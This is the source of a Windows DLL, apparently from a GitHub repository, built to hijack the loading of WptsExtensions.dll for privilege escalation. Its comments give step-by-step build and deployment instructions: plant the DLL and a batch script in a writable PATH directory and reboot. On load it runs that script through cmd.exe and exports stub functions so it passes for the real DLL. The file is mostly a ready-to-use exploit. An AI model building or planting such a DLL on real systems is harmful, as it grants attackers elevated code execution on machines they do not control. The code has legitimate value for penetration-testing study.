-
Notifications
You must be signed in to change notification settings - Fork 15
Expand file tree
/
Copy pathWptsExtensions.cpp
More file actions
103 lines (83 loc) · 2.1 KB
/
WptsExtensions.cpp
File metadata and controls
103 lines (83 loc) · 2.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// dllmain.cpp
#include <Windows.h>
/***
- Load x64 visual studio environnement variables:
C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvars64.bat
- Go inside your source dir and run (BUILD MANUALLY to avoid unwanted dependencies):
cl /LD /MT /EHa dllmain.cpp /Fe:WptsExtensions.dll
- Update bat script path:
const TCHAR script[] = TEXT("C:\\Python27\\script.bat");
- Drop the DLL and script.bat in your writable directory (from the machine PATH)
powershell -Command "[System.Environment]::GetEnvironmentVariable('PATH','Machine')"
- Reboot
https://github.com/itm4n/PrivescCheck
***/
int fileExist(LPCTSTR file) {
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
hFind = FindFirstFile(file, &FindFileData);
if (hFind == INVALID_HANDLE_VALUE)
{
return 0;
}
else
{
FindClose(hFind);
}
return 1;
}
void sploit(void) {
// Name of the script
TCHAR script[] = TEXT("C:\\Python27\\script.bat");
TCHAR cmd[] = TEXT("cmd.exe /c ");
if (!fileExist(script)) {
return;
}
STARTUPINFO info = { sizeof(info) };
PROCESS_INFORMATION processInfo;
TCHAR* lpszClientPath = lstrcat(cmd, script);
if (CreateProcess(NULL, lpszClientPath, NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo))
{
WaitForSingleObject(processInfo.hProcess, INFINITE);
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
}
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
sploit();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) void Test()
{
sploit();
}
extern "C" __declspec(dllexport) void WptsCreateAction()
{
}
extern "C" __declspec(dllexport) void WptsDestroyAction()
{
}
extern "C" __declspec(dllexport) void WptsCopyActionData()
{
}
extern "C" __declspec(dllexport) void WptsFreeActionData()
{
}
extern "C" __declspec(dllexport) void WptsLaunchAction()
{
}